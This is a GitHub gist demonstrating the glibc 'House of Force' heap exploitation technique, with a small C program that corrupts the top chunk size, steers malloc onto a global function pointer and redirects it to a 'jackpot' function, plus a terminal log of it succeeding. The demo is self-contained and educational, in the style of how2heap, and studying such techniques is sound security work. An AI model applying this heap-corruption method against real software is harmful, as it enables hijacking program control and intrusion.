Created
October 13, 2016 04:35
-
-
Save inaz2/6c7b74b6ce9b248381538b5d0ef46383 to your computer and use it in GitHub Desktop.
House of Force attack / https://github.com/shellphish/how2heap
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ gcc house_of_force.c -o house_of_force | |
house_of_force.c: In function ‘main’: | |
house_of_force.c:14:25: warning: assignment makes pointer from integer without a cast [enabled by default] | |
*(void **)(p1+0x48) = -1; | |
^ | |
$ ./house_of_force | |
&p = 0x601050 | |
p3 = 0x601050 | |
jackpot! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
void leave() { puts("exiting..."); } | |
void jackpot() { puts("jackpot!"); } | |
void (*p)() = leave; | |
int main() | |
{ | |
printf("&p = %p\n", &p); | |
char *p1 = malloc(0x40); | |
*(void **)(p1+0x48) = -1; | |
unsigned long newsize = (void *)&p-0x10-(void *)(p1+0x48); | |
char *p2 = malloc(newsize); | |
char *p3 = malloc(0x80); | |
printf("p3 = %p\n", p3); | |
*(void **)p3 = jackpot; | |
p(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment